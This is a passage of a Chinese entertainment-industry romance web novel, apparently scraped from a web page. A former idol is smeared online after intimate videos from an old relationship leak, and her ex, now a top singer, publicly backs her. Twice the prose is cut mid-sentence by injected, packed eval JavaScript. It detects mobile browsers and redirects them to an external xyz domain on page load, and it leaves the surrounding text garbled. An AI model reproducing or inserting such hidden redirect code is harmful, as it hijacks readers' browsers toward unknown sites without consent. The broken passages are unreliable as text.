《热恋轨迹［娱乐圈］》 1. 亲密视频 近几年内娱嗑糖盛行。 微博超话CP热门榜排名靠前那几对，粉丝量多则几百万，少的也有几十万粉丝。 而除了这些热门的，还有一些小众的超话，只有极少数人圈地自萌在偷偷嗑糖。 而最冷门的超话之一，莫属于内娱第一顶流歌手祁致和已退团过气十八线小糊豆沈亦凝之间的CP超话“祁沈不渝”。 这对的冷门程度，是路人见了都要嘲讽一句的程度： “这也能嗑？” “一看就是假的，两个毫不相干的人，真搞不懂有什么好嗑的。” “而且一个顶流一个糊咖，他们要是真的，我就是假的！” 这两个明星的CP粉“小鱼丁”也只有六百多人，起初建立这个超话的小鱼丁，是在某日看了沈亦凝拍的小网剧，成为了她的颜粉，又在一次极其偶然的机会之下，听了祁致的歌，成了祁致的歌迷。 于是就莫名其妙嗑起两个双担的CP。 CP感是这个世界上最神奇的东西之一，信则有，不信则无。 甚至有时候假糖其实更好嗑。 毕竟内娱里有多少CP是真的？于是只要自己嗑得高兴，那就是真的！ 起初只有这一个小鱼丁在圈地自萌，自己建立了个超话，时不时剪辑一些拉郎视频放到社交平台和“祁沈不渝”的超话里。 久而久之，这个超话经过整整三四年的发展，入坑嗑“祁沈不渝”的小鱼丁们，已经顺利从1个人，变成了数量“庞大”的六百个人。 虽然比起其它大热CP，连他们的零头都不够，但是那又如何？他们可是靠单纯拉郎视频挣到六百小鱼丁唉，这已经超级厉害了。 什么叫做纯拉郎？ 因为他们嗑CP的正主这么多年从未在一个场合里见过，所以嗑他们纯靠自己动手剪视频，自产自销。 有时候想想真是挺惨的，其他人嗑的CP，要么有热播剧，可以拉拉小手亲亲嘴，要么有热播综艺，能够看到一些甜蜜或者搞笑的互动。 而他们……一无所有。 甚至他们嗑的正主很大概率都不认识对方。 即使这样也嗑得超级上头。 “祁沈不渝简直就是仙品！” “内娱里还有比他们更配的人吗？” “完全没有。” “豹豹猫猫我们又出生啦！！” 几百个小鱼丁们纯靠自己给自己剪糖给自己吃，从不招惹其他人，可安安分分了。 可就在他们圈地自萌时，压根没有料到一场腥风血雨正在悄然来临。 在一个极其普通的下午，“祁沈不渝”超话里突然涌进一大批祁致的唯粉“芝士球”。 芝士球们二话不说就开始屠超话广场。 “啊啊啊，怎么还有人嗑他们CP啊！！” “退退退！” “syn别捆绑我们哥哥。” “syn滚出娱乐圈啊！” “两人都已经分手了，到底还在嗑什么？” “居然还真有这两个人的CP超话，看我把这个超话直接端了！” 小鱼丁们开开心心剪视频回到超话里，看到常年无人问津的超话突然变得热闹起来，还以为是有新的小鱼干加入他们了。 他们高高兴兴跑进超话里，却发现自己的饭碗被人一脚踢翻。 小鱼丁的第一反应是：什么！！！究竟是那群坏蛋屠了我们的超话？我们就想安安静静嗑CP，这也能有错？这么小一个超话都会被屠吗？这个世道连躲起来吃饭都不可以啦？ 过了几分钟。 小鱼丁们上网吃完瓜后知后觉：什么！！自己默默嗑了这么久的CP，原来他们之间不是完全没有关联，不仅有关联，他们之前还是前男女朋友关系。 虽然已经分手了，但是过期糖依旧好嗑啊！ 早在三四年前就开始嗑他们的小鱼丁猛拍胸脯：我真是天才！ 于是小鱼丁们二话不说又重新建了一个超话。 以前他们是唯唯诺诺嗑CP，现在弯了多年的老腰，在此时此刻终于挺起来了！ 豹豹猫猫我们现在真的出生啦！ 以前嘲笑我们CP是假的，现在你们的才是假的呢。 即使分手了，那也是真的！ - 内娱超冷门的“祁沈不渝”CP成真。 这听起来真是有点儿荒唐。 事情还得从两天前说起。 一位匿名人士凌晨时分，突然在微博发布了几条模糊的亲密视频，没几个小时，这条视频便在各大媒体广泛传播。 视频里的女主角被扒出是早已经退团的前女团队长沈亦凝。 一夜之间，微博冒出无数条黑热搜，全是围绕“沈亦凝练习生时期恋爱”这件事情大作文章。 ＃沈亦凝练习生时期同男友地下室拥吻＃ ＃女团SNT前队长沈亦凝疑似塌房＃ #沈亦凝恋爱瓜曝光＃ …… 除了以上的黑热搜外。 各种营销号和微博娱乐大v纷纷下场，开始营销这件事情，仅靠一名匿名网友爆料出来的几张模糊的照片和视频，就开始狂锤沈亦凝“没有豆德”、“恋爱实锤”、“私生活混乱”。 爆料出来的全部视频，都像是被人刻意调低了画质，模糊得压根看不清画面中男女主的脸。 只是能够看到背景是发生在一个昏暗的地下停车场里，且停车场里没有灯光，周身一片黑暗。 他们身旁只有一辆价值不菲的豪车在闪着车灯，灯光闪烁不定，像是随时都会熄灭。 两人的身形被昏黄的车灯灯光勾勒出轮廓。 女人本来想走，却被男人的双手紧紧扣住肩膀，并顺势把她拉进怀里抱着，力度大得仿佛要将她嵌入自己的身体。 而后男人的手从她的肩膀滑下，十分自然且熟练地搂住她的腰，两人就这么拥吻在了一起。 女人一开始还有些抗拒，但是很快就沉沦了，她渐渐地抬头去回应对方，自己的双手也不自觉地环上男人的脖颈，手指插入他的发间，被带动着去回应着这个炽热的吻。 他们从车头吻到车尾，甚至最后还拥吻着拉开车门走进车里，整整十分钟才开车离开。 看得人脸红心跳。 一看两人就关系斐然。 而且选择在这种时间和场合拉扯拥吻的样子，看起来真的很像在私会偷情。 - 这个匿名爆料视频一出，没多长时间，就被大肆传播，甚至还被网友直接锤出来视频中的女人正是曾经红极一时的女团队长沈亦凝。 之所以是曾经，是因为沈亦凝早就两年前就退团了，而且退团之后，她便从红极一时的天之骄女，彻底堕落泥潭变成了黑料加身人人喊打的小糊咖。 而在这个视频在网络上发酵半个小时的仅仅半个小时之后，沈亦凝的个人微博下边更是不少黑粉趁机控评占领了全部热评： “背叛团队，忘恩负义的沈大姐，没想到背地里居然还是这样一个私生活混乱的人。” “一想到这种人都能够在娱乐圈拥有两千万粉丝我就想笑，到底是哪群傻瓜在喜欢她。” “2000w？她微博不是才800w粉丝吗？” “她ins有两千万粉丝的，这人在海外比在内娱火。” “沈亦凝这人不是早就塌房了吗？除了今天爆出她练习生时期就恋爱的这件事情之外，我好像比网友多出一段记忆。” “楼上路过点了，沈亦凝早就塌房了好不好？在她选择背叛组合回国单飞的时候，我就粉转黑了。” “茶姐后悔去吧！粉过茶姐简直就是我的赛博黑历史。” “我早就看沈亦凝不顺眼了，当初SNT出道夜她能够以高票C位出道，我就觉得她德不配位，现在看来该不会是靠潜规则上位的吧，否则凭借她的实力，怎么可能是C位？” “看她视频里跟那个男人在地下停车场拥吻的样子，这么熟练，这么投入，说不定就是靠身体上位的。当初她成团夜投票的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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对手戏演员江思菱的脚踩在她的手上，不停地碾啊碾，也不知道是刻意还是无意，对手戏演员一直NG，明明就只是踩着她的手，哗啦啦说几段台词，这场戏就过了，但是就是多次说错词。 这明眼人都能够看出来江思菱是在故意刁难沈亦凝，只不过娱乐圈最是拜高踩低的地方。即使江思菱一直NG，导演对此没说什么，沈亦凝在内娱的咖位没有江思菱大，没什么话语权，只好忍。 来回被江思菱穿着花盆底的鞋碾了整整十三次，这场戏才彻底过了。 自然，沈亦凝的手也被踩肿了一片，她身边没有助理，只有自己拿着冰袋坐在一张小板凳上捂着手。 她没有自己的房车，剧组就只给她一小块休息的区域和两张矮凳子。 换做两年前，沈亦凝接受不了自己被这样对待，但是在回国受到两年冷眼之后，她已经习惯了。 刚拍完自己的戏份，坐在凳子上，用冰袋捂着手消肿，没过多久兜里的手机一直在震动。 沈亦凝抖着手打开手机，就看到好友孟觅夏微信轰炸她。 “不好了沈亦凝，你又上热搜了。” “热搜上好多人在黑你！” “那些路人究竟凭什么啊，都不了解你，都在跟风骂你！” 又被黑了？ 沈亦凝都快对“黑热搜”三个字脱敏了，她回国之后到现在的两年里，有哪一天是不被骂的呢。 她苦笑了一下，没什么语气地说，“我不是总是被骂吗？习惯就好。” “这次很不一样，一看就是有人在故意搞你。” 沈亦凝很不想去看微博，骂她的来回都是那几样，还有一些很恶毒的带诅咒性的话，她觉得还是不要去看比较好。 毕竟眼不见为净。 去过份在意网上的黑评，与她而言，无异于只是二次伤害罢了。 孟觅夏也十分了解沈亦凝，从来不会因为看到网络上的黑热搜就主动去告诉沈亦凝，不仅如此，还会刻意引导沈亦凝不要去过度关注。 但是这次很不一样。 孟觅夏叹了一口气，用生无可恋的语气说，“不知道是哪个混蛋在网上曝光了四、五年前你跟祁致谈恋爱的时候的亲密视频，现在那些视频在网上传疯了！” 2. 转发微博 沈亦凝有一瞬间的恍惚。 电话那头的孟觅夏说了这么长一段话，她就只捕捉到了一个关键词—— 祁致。 这个名字沈亦凝再熟悉不过了，他是她的初恋，也是她唯一的前男友。 这几年身边人刻意减少在她耳边提及祁致这个名字，加上两人在娱乐圈的咖位不对等，很难在各种活动中遇见，沈亦凝已经很多年没在现实生活中见过他了。 可祁致如今正当红，大街小巷上有时候都是他的广告海报，甚至打开听歌软件想听首歌，都能够看到他的名字和专辑照片飘在首页。 即使现实不曾见面，他也有种阴魂不散缠着她的感觉。 这些年，沈亦凝已经很刻意地控制自己不再去想起祁致，本以为自己早就已经忘记了他，但是事实证明忘记一个人并没有这么容易。 更何况还是忘记初恋，这简直就是难上加难。 于是此时此刻，她在听到“祁致”两个字的时候，心脏还是忍不住地抽疼，嗓子眼处也就像吞进了一把玻璃渣，每次呼吸都带着酸涩。 过去了这么多年，现在仅仅只是听到对方的名字，沈亦凝内心还是控制不住地波涛汹涌。 特别是听到孟觅夏说的那句“视频里你们拥吻在一起”时，沈亦凝手里一个不稳，敷在右手手背上的冰袋“啪嗒”一声跌落在地上。 沈亦凝愣神足足一分钟才迟钝地把地上的冰袋捡起来。 她跟祁致的那段无疾而终的恋爱，那都已经是五六年前的事情了，现在他们早就已经是八竿子都打不到一起的人，狗仔怎么可能会在这个时候把那段不为人知的恋情曝光出来？ 当时的她已经成年，和祁致谈恋爱是还是素人时期，两人恋爱期间没有做出违反道德和法律的事情，就算此时被曝光了恋情，也不至于像孟觅夏说得那样严重。 沈亦凝这些年为了自我保护，很少主动关注网上的黑料，但是这次的事情明显可能跟祁致有关，她没抵抗住好奇心，直接点进了微博。 在进微博之前，沈亦凝还在担心那群网友会怎么评价这段感情？骂她一个糊咖去蹭她们哥哥的流量？又或者是骂她是绿茶之类的？ 即使已经做好了心理准备，但是在点进微博看到网友评论之后，沈亦凝还是吓了一跳。 原来视频中的女主被网友扒出是她，但是男主本人却美美隐身，谁也不知道她当初的对象是祁致。 也许有粉丝认出视频中男人的身影像祁致，但是不会有人主动把她们联系在一起。 他们现在就像是不同世界的两个人。 一个风光无限，一个黑料加身。 即使看出来暧昧视频中的男人像祁致，也会被推翻否认。 既然视频中男人的身份扑朔迷离，那就给了网友充分的想象空间。 “网上有SNT出道前的练习视频，沈亦凝当初穿过这套衣服路演过，绝对实锤了！” “只不过那男人是谁啊，看起来身高腿长的，虽然看不清脸，应该也是大帅哥。” “他那腰，一看就是能天天的腰。” “得了吧，去山东随便抓几个男大学生都能有这种身材好不好？这种类型的帅哥大学城一抓一大把。” “会不会是哪个金主？” “这视频拍摄在出道夜之前吧，沈亦凝靠潜规则上床才断层top出道的吧？” “我靠，绝了，沈亦凝这人私生活真是乱哈。” “那男的长得帅不帅我不知道，但是能够肯定的是，绝对长得很有钱。” “你要是有钱的话，也可以睡沈亦凝那种大美女啊，她这么年轻就被包养了，啧啧啧。” “有钱真好啊，沈亦凝这张脸在娱乐圈也是很能打的好不好？能砸点钱睡这种大美女真是此生无憾了。” “这男的究竟是哪个老总？又是哪个富二代，已经过去这么久了，管家还没有帮我找到她的全部资料吗？” “我是路人，一觉醒来发现全世界都在造女生谎言，不知道沈亦凝是谁，但是人家当初就不能是正常谈恋爱吗？当时成年了又还没出道，谈个恋爱被乱说成包养。没证据在这里议论不如老老实实上班挣钱。” “这视频里的男人，我怎么感觉有点像祁致？” “？？？楼上你认真的吗？不要乱捆绑CP谢谢，我哥跟茶姐不可能认识的哈，求求别登月碰瓷。” “别带我哥名字谢谢，沈亦凝在打拼八百年都碰瓷不了我哥的程度，谁乱捆绑谁家糊穿地心谢谢！” “姐妹删评吧，跟沈亦凝牵扯上关系的可不是什么好事。” 清一色的“潜规则”、“被包养”、“私生活混乱”、“滚出娱乐圈”、“捆绑祁致糊穿地心”之类的词语纷纷涌入沈亦凝的视线。 这些还是骂得轻的，还有一些肆意写长作文造黄谣甚至问候她家人的，沈亦凝连看一眼的勇气都没有。 也有一些为她说话的网友，但是最终都还是石沉大海，反而清一色的黑评被顶成热评停在前排。 除此之外，沈亦凝自然也看到了那些在网络上疯狂传播的亲密视频。 视频里，两道身影在暧昧纠缠。 沈亦凝只点进去看了一眼，便知道这个视频拍摄在什么时候。 她清楚地记得，这些视频在成团夜的前一周，那天是她19岁生日。 那是个冬日。 首尔下了一场很大的雪，雪粒飞扬。 沈亦凝结束公司的集体训练和彩排，走出公司门口，在她跟祁致经常约会的咖啡店门口见面。 她一走到门口，就能看到祁致站在店门口等他，背后店面招牌泛着蓝光，闪着“NocturneBrew”。 在祁致递过来一束黑骑士祝她生日快乐时，她主动跟他提了分手。 他挽留过她，他们一路纠缠到地下停车场抱在一起接吻，甚至在酒店里度过了一夜。 可是最后他们还是分开了。 从此之后两人各奔东西，谁也没提过这段恋情。 视频画面朦胧，但往事在脑海里却依旧清晰可见。 她记得那晚的旖旎暧昧。 她也记得祁致俯身在她的脖颈处，呼吸带着灼人的温度落在她的耳畔。 那晚的他就像是被主人丢弃的小狗，语气委屈又带着几分落寞。 “沈亦凝，跟我谈恋爱真的会影响你的前途吗？” “我可以不要你的名分，也可以接受不公开啊。” “别跟我分手，好不好？” 沈亦凝承认当时她确实有一瞬间心软了。 只是后来发生了什么？ 她不记得了。 只知道床板在晃，以及那天晚上两个人结束得并不愉快。 …… 从回忆中脱离出来之后，沈亦凝沈亦凝孤零零地坐在矮凳上，捧着手机恍惚了很久很久。 也不知道过了多长时间，直到手机那头孟觅夏说了句，“沈亦凝，你现在还在看黑热搜吗？” 这才把她的思绪重新拉了回来。 “嗯，看完了。” 沈亦凝说不出自己现在是什么心情，复杂得如同浆糊一样。 孟觅夏深呼吸，“你……你没事吧？” “我没事。” “你的声音听起来就不像是没事的样子。”孟觅夏叹了一口气，“不过怎么可能没事呢？如果我像你一样三天两头被骂，我早就抑郁了，这个热搜一看就是故意有人在背后搞你。” 沈亦凝倒是平静，“应该是。” 毕竟被大规模黑了这么多年，沈亦凝都已经习惯了。 只是不知道怎么这段视频也会有狗仔偷拍下来。他们整天没事干么，居然偷拍两个素人情侣之间接吻？ 甚至在多年后对此大做文章，造她黄谣，真是用尽了力气想要黑她。 一看就是故意黑她。 想要引导舆论，让她彻底在娱乐圈里待不下去。 沈亦凝有些想笑，但是更多的还是无奈，她无法左右舆论，也没办法解释什么。 毕竟恋爱是真的。 接吻也是真的。 难不成要她拿出证明，证明视频中跟她接吻的男人是现在红极一时的顶流歌手祁致？证明自己没有被包养。 她做不出这样的事情，也不想再跟祁致扯上半点儿关系。 毕竟已经分手了这么多年，不太好拉对方出来挡枪。 更何况祁致如今的事业正处于上升期，如果她为了给自己澄清“被包养”和、“潜规则才c位出道”的黑热搜，去公布当初那段恋情，那这对祁致的事业来说，绝对会有很大的影响，说不定他还会掉大批女友粉老婆粉。 毕竟谁能够忍受自己的偶像曾经谈过女朋友呢？ 谈过女朋友就算了，对象还是她这样一个黑料漫天、路人缘惨绝人寰的女糊咖。 孟觅夏自然也想到了祁致，“网友都不知道你前男友是祁致，全在造你黄谣，你直接发条微博说前男友是祁致不就好了，你们当初是正常谈恋爱，澄清了之后网友应该就不会说什么了吧？” “不行。” 孟觅夏瞪大眼睛，“为什么？” 沈亦凝沉默。 在沈亦凝沉默的这几秒钟，孟觅夏像是猜到了什么，惊呼了一声，“沈亦凝，你在犹豫什么，眼下难道还有比这更好的做法吗，难不成你害怕这件事情曝光出来对他事业有影响，都前男友了你还在乎他前程？” “……” 那倒没有，她还没圣母到那种程度。 因为分开时就说好的，以后在娱乐圈里无论发生了什么事，都不要提对方的名字。 既然分手了。 那就分个彻底。 这话还是她主动说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071671|163232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 所以这也是她不愿意为了扭转网络风评，把祁致拉出来的原因之一。 但除了拉出祁致出来公关之外，没有其它的办法。 沈亦凝无奈笑了一下，“都已经是前男友了，而且祁……他现在流量这么高，我就算说了，他也不一定会承认这段恋情，毕竟对他没好处，到时候说不定还会被人骂捆绑CP之类的。” 孟觅夏一想，好像确实也有这个可能。 她对祁致这个人不是很了解，只知道这个男人曾经跟沈亦凝谈过一年恋爱。 而且她不觉得一个被甩的男人，还会帮前女友说话。 换位思考一下，如果是孟觅夏的前任被全网嘲，她才不会赌上自己的前程去替前任说话呢。 况且还已经过了这么多年。 祁致还记不记得自己曾经有过沈亦凝这个前女友都是未知数。 孟觅夏叹了一口气，“你这也太惨了！” “我……”沈亦凝还想说些什么，却听到有人扯着嗓子在喊，“沈亦凝，过来！” 沈亦凝抬头，就看到了经纪人仲霜那张冷若冰霜的脸。 不用想也知道仲霜是因为什么事儿臭脸，绝对是看到微博上热腾腾的黑热搜了。 沈亦凝被公司雪藏一段时间，又被迫转型做演员之后，她现在不太红，咖位也不高，平常在剧组里很少人注意她。 只不过现在剧组里应该有不少人都吃到了沈亦凝的瓜，视线纷纷落在她和仲霜身上，事不关己地看热闹。 众目睽睽之下，仲霜直接拧着沈亦凝的胳膊，把她扯到角落，二话不说直接把手机摊到沈亦凝面前，“你怎么这么不省事呢？瞧瞧网上又传出你什么瓜来了？” 仲霜手下不少艺人，平常里并不管沈亦凝，资源什么的也从来不会想着她，每次出现在她面前的时候，大多数情况下都是来找茬的。 这次显然也是。 沈亦凝垂眸，看着仲霜的手机页面。 映入眼帘的就是“沈亦凝恋情爆！”几个字。 “……” 果然是因为这事儿。 沈亦凝不知道怎么说。 仲霜还在骂：“你往下继续翻！微博里全是骂你的，你最好今天给我一个说法！” 沈亦凝不想翻，微博上的瓜她刚才都已经吃过了，全是骂她的，她心情好不容易才平和下来，才不要再去看一遍微博上的人都怎么骂她呢。 见她不动，仲霜就直接翻给她看，往下翻，翻到了一个微博专业吃瓜号发的一个长文。 专业吃瓜研究中心V： 「本人五粉籍，纯粹吃沈亦凝的瓜，按我分析，沈亦凝的前男友很有可能是光年传媒的太子爷章俞，毕竟章俞前几年就被爆料过交过很多个韩国女朋友，证据如下：……」 洋洋洒洒几千字，说得那是一个真。 跟编小说一样，甚至还详细写了沈亦凝勾引光年传媒太子爷的全过程。 关键是这种注水瓜还特别多人相信，评论区一堆拥护他的。 继续往下滑。 是另外一个吃瓜号发的。 内娱吃瓜容嬷嬷V： 「我怎么感觉视频里的男人真的很像祁致，我反反复复看了那个视频超级多遍，但是，我真的觉得就是祁致！！而且听说祁致没火之前也在韩娱发展过一段时间不是吗？网络上传的包养沈亦凝的对象这么多，为什么不能是祁致？」 当然同上一位博主“专业吃瓜研究中心”的评论区不一样，“容嬷嬷”的微博评论区里全是骂她的。 “好笑，祁致招谁惹谁了，惹一身腥。” “没谈过，别捆绑。” “求求了，我哥根本看不上！” 仲霜自然也看到了这两个博主发的长文，冷笑一声，“瞧瞧，你这路人缘都差到极致了！网上全在推测你那该死的前男友究竟是谁，一会儿说是芒星娱乐老总，一会儿是光年传媒太子爷啊瑞景房产集团大佬的，你这名声真是臭死了。” “……”沈亦凝被骂了，也只有沉默。 满脑子都在想，完蛋了。 有了这事儿，说不定公司会怎么惩罚她，估计没多久，她手上那点可怜的代言和资源都得没了。 “哟，还有一个说是祁致，这怎么可能，你前男友要是他那才有鬼了。” 仲霜劈头盖脸地继续骂，一边骂继续往下滑，骂到一半停住了。 准确来说，是仲霜和沈亦凝两个人都愣住了。 因为仲霜下滑微博首页的时候，手机页面上居然就这样刷到了祁致的微博。 祁致的微博是新出炉的，就发布于两分钟前。 他直接转发了“内娱吃瓜容嬷嬷”的博文，并且编辑了几个字。 祁致V：没本事，正常恋爱。 转发：100w＋，评论：100w＋，点赞：500w＋ 3. 手滑点赞 看到祁致微博的瞬间，仲霜整个人石化住。 沈亦凝也没好到哪里去。 两个人看到祁致新发的微博，脸上均是震惊，其中以仲霜反应最为激烈，嘴巴都大大地张成了“O”型，瞳孔也瞬间放大，充满了极度的不可置信。 很显然，作为沈亦凝经纪人的仲霜，也从来没有想过，自己手下的这名满身黑料的艺人，居然能够跟现下的顶流歌手祁致扯上半点儿关系。 更何况还是这样劲爆的前任关系。 仲霜反应了老半天才终于憋出一句，说话的时候，声音都在抖，“这什么情况啊？祁致这个微博是什么意思，视频里的男人原来是他？！” 沈亦凝悻悻，“我……也不知道啊。” “你说你不知道？那祁致怎么会转发一个吃瓜博主的微博，还莫名其妙发这几个字？”仲霜下意识质疑，“这微博是本人发的吗？” 说着，仲霜急着求证真实性，直接访问了祁致的微博主页。 而后发现，真是本人，如假包换。 仲霜抬头，紧盯沈亦凝，目光灼灼，露出一个势必要给个解释，否则就不放过她的表情。 沈亦凝再度沉默：“……” 实话说，她也很疑惑啊。 总之，他们现在的关系肯定不会是那种让他看到她被网友围攻，冒着自己掉粉掉代言，赌上自己前途风险替她澄清的那种关系。 像她如今风评极差的情况，圈内的明星哪个不想离她远一点。 生怕和她沾上半点儿关系。 而内娱吃瓜容嬷嬷发的那条微博无异于是在说“祁致是沈亦凝前男友，而且两个人还是包养和被包养的关系。” 祁致在这个时候转发了容嬷嬷的微博，并配文“没本事，正常恋爱”，不就是帮沈亦凝辟谣了吗？ 而网友也瞬间理解了祁致发的那条微博究竟是什么意思，多加几个词扩充成—— 没本事（包养），（我们是）正常恋爱（关系）。 这样就很好理解了。 就差直接跟网友说——沈亦凝是我前女友，在视频里跟她拥吻的那个男人就是我。 以及辟谣了包养和潜规则的谣言，告诉大众那全是假的。 沈亦凝的第一反应就是。 祁致他疯了。 还是说被盗号了？ 这一切皆有可能，最没可能的是。 祁致对她旧情未了。 甘愿冒着库库掉粉的风险，也要为她澄清谣言。 毕竟当初是她甩了他。 记得彻底分开那晚。 沈亦凝准备离开时，祁致却一把抓住她的手腕，他那双清透的眸子像是着了火，嗓音里亦有些咬牙切齿的味道，“沈亦凝。” 祁致瞳孔幽深，语气里带着几分自嘲的意味，“原来我在你心里这么不重要吗，挥之即来招之即去？” 沈亦凝不敢和他对视，害怕看他的眼睛，会让自己心软。 她偏过头去，只能听到他失落的声音在耳畔轻响，“你怎么就这么怕跟我扯上关系。” 她一直再躲。 祁致却不给她躲的机会，伸手扣住她的下巴上抬，“我不想分手，除非你说不喜欢我。” “看着我的眼睛说。” 祁致很少发疯。 他对她总是很温柔，即使是在做那种事情的时候，也会一直哄着她。 可那天他用了挺大的力气。 沈亦凝疼的双眼起了雾。 可她看向他时，却发现他比她好不了多少，甚至状态比她还要糟糕。 那是她第一次在他身上看到如此落寞的表情。 也是她第一次见他哭。 不知在酒店里纠缠了多久，最后她还是走了。 于他而言是断崖式分手。 沈亦凝回想起来以前的事，都觉得自己渣的透顶。 换成任何一个人估计都要恨死她了。 怎么可能还会帮她说话？ 祁致又不是什么受虐狂。 沈亦凝沉默了半晌，终于顶不住仲霜那灼热又八卦的眼神，硬着头皮承认了，“是，我唯一的前男友是他。” “视频里那人也是他？”仲霜的声音还在抖。 即使仲霜已经在内娱里混了很多年，手下不知道带过多少离谱的艺人，出现过多少可怕的瓜。 但是在现在面对这事儿的时候，她承认自己还是没有办法冷静下来。 满脑子都是：我的老天爷啊！！这都什么事儿啊！！ 沈亦凝说实话并不想承认这件事情，毕竟现在她糊，祁致又正火，她真不想蹭。 更何况前任这种事情本来就是隐私，她就更不想说了。 可此时此刻除了承认之外，还能有什么办法呢？ 于是沈亦凝继续硬着头皮点头，又说，“是。” 仲霜彻底没话说了。 精明的脸上，两只眼珠子在转来转去，似乎在想什么鬼点子。 没两秒，仲霜笑了一下，“我想到公关这件事情的好办法了。” 虽然仲霜是在笑，但是沈亦凝总觉得自己后背发寒。 直觉告诉沈亦凝。 仲霜这个老女人估计又要开始作妖了。 “你……”沈亦凝还想说些什么，却听到有人扯着嗓子在喊，“沈亦凝，过来拍最后一场戏——” 场记的声音隔着老远都能够听得见。 要准备开拍了。 仲霜大手一挥，放她走，“你先去拍戏吧。” 沈亦凝没办法，只好先赶去拍摄地。 沈亦凝正在拍的这部剧，是一个现穿古的无脑爽网剧，剧名叫做《穿成不受宠嫡女，我把全家虐哭了》。 一听名字就知道是小成本网剧。 而且还是特别无脑狗血的那种。 沈亦凝在这部剧里饰演恶毒女配，主要就是对女主做各种乱七八糟的坏事，最终被换了芯的女主识破计谋，女主从不受宠嫡女逆袭的老套故事。 现在要拍的戏份，便是沈亦凝饰演的恶毒女配设计让女主掉入水里，最终自己掉进湖水的戏。 看剧本的时候，沈亦凝就发现这部剧为了突出女主光环，配角都像是没脑子的超级大傻子。 导致她在演这部戏的时候，演得十分痛苦。 不是被女主踩脚就是被女主设计落水。 沈亦凝觉得自己根本不是来拍戏的，更像是来受苦的。 对手戏演员江思菱，就是刚才多次NG，故意踩肿她手背的女生，也是这部剧的女主，看沈亦凝极其不顺眼。 江思菱刚出道没多久，却是现在沈亦凝所在公司光禾娱乐重点捧的演员艺人之一。 沈亦凝当初火的时候，江思菱甚至还没进娱乐圈。人生总是三十年河东三十年河西，现在已经是不一样的光景，曾经红极一时的女团队长沈亦凝，也沦落到给她做配。 江思菱自然要在沈亦凝身上找到一些优越感。 只不过两个人之间没仇没怨的，江思菱压根就没必要去故意针对沈亦凝。 错就错在江思菱刚出道时第一部女主戏的时候，被公司第一次安排给她作配的沈亦凝观众缘还没彻底崩盘，江思菱因为那部剧被很多人追着骂“丑”，“长得没有沈亦凝一半好看”，“也不知道是用了什么手段拿到女主这个角色”。 江思菱何其冤枉？这个戏是她努力试戏得来的，公司为了打压沈亦凝，让沈亦凝给她作配能是她的错么？她被骂完全是无妄之灾。 江思菱总觉得是沈亦凝这个人在背后偷偷整她。 毕竟沈亦凝这个人在网络上的风评一直不怎么好，江思菱先入为主肯定就是沈亦凝在背后偷偷买水军拉踩她，在她新人时期疯狂黑她。 后来江思菱凭借一部青春暗恋网剧小有名气，彻底脱离十八线。为了报两年前的仇，江思菱在接下公司给她安排的这部新网剧的时候，再次点名要沈亦凝给她作配。 君子报仇十年不晚，当初江思菱被骂时受的气，自然要在片场里一一报复回来。 光禾娱乐毕竟是小作坊，经常有自己投资自己拍的自制小成本网剧，这种剧让公司影视部部门的艺人换乘恋爱、多次合作这种事情不是没有发生过。 于是就有了第二次合作的机会。 沈亦凝没有半点儿话语权，没办法拒绝，于是过来拍戏。 刚进剧组没几天，沈亦凝就感觉到江思菱对她并不是很友善，甚至有些不喜欢她。 从刚进组开始，沈亦凝就发现化妆师故意把她的脸涂得很黑，她的衣服大部分都是脏脏破破的，偶尔有几套干净的，颜色也格外素雅。 不用说都能知道这是在故意把她往丑了化，要给主角江思菱让妆。 不仅如此，江思菱还总是在和沈亦凝对戏的时候故意NG。 沈亦凝并不在乎这些东西，也深呼吸告诉自己，不要为了刚才的踩手的那场戏对手戏演员故意NG而生气。 毕竟这些年她受尽白眼。 这点儿苦还是能咽下去的。 只是没想到自己的好脾气和退让，居然让江思菱对她变本加厉。 剧本内容是恶毒女配引女主去江边，想要借机把女主推下湖水里，却意外自己被设计落水。 这里江思菱故技重施，继续多次NG，沈亦凝穿着单薄的衣服，一次次掉进冰冷的湖水里。 此时城市已经入秋，正常情况下都穿起了卫衣的天气，沈亦凝掉下湖水的第一次，就已经控制不住瑟瑟发抖。 落水戏NG是一场不小的折磨。 沈亦凝是出了名的脾气好。 但是也不证明她没脾气。 在江思菱故意NG的第七次，也是沈亦凝落水第七次的时候，她忍不住了，剧组导演和制片却在这个时候站出来提醒了江思菱，要她收敛了一些。 江思菱之所以敢多次NG，只因为自己最近因为短剧爆火有点儿粉丝，加上跟剧组副导有点儿亲戚关系。 于是剧组里的人对她的做法都是睁一只眼闭一只眼。 只要不做太过分的事情都可以。 沈亦凝倒是有些意外导演和制片会在这个时候为她出头。 在江思菱被警告之后，这场戏一条过。 沈亦凝这场戏拍完之后准备下班。 进入化妆室卸妆的时候，沈亦凝彻底发现不对劲。 身边的人变得十分不对劲。 从导演和制片莫名其妙为她凶了江思菱，到卸妆时化妆师对她柔声细语，甚至剧组还安排了一个小助理给她提包递水。 种种迹象都让沈亦凝觉得离谱。 身边的人突然态度一百八十度大转变，曾经她哪里有过这种待遇？ 剧组里有演员故意排挤她，甚至NG卡她戏是没人管的；化妆师甚至其它工作人员对她态度很敷衍，从来没有像现在这样温柔说话过；至于助理什么的，之前更是一个影子都没见过的。 沈亦凝想：他们这是莫名其妙疯了？ 她这么个黑料小糊咖，居然也能有这待遇？ 沈亦凝没想太多。 她现在只有一个念头：赶紧卸妆回酒店洗个热水澡，而后美美睡一觉。 如今入秋了，这所小城市全天室外最高温度只有16℃，她落水了这么多次，难受得要死。 -< 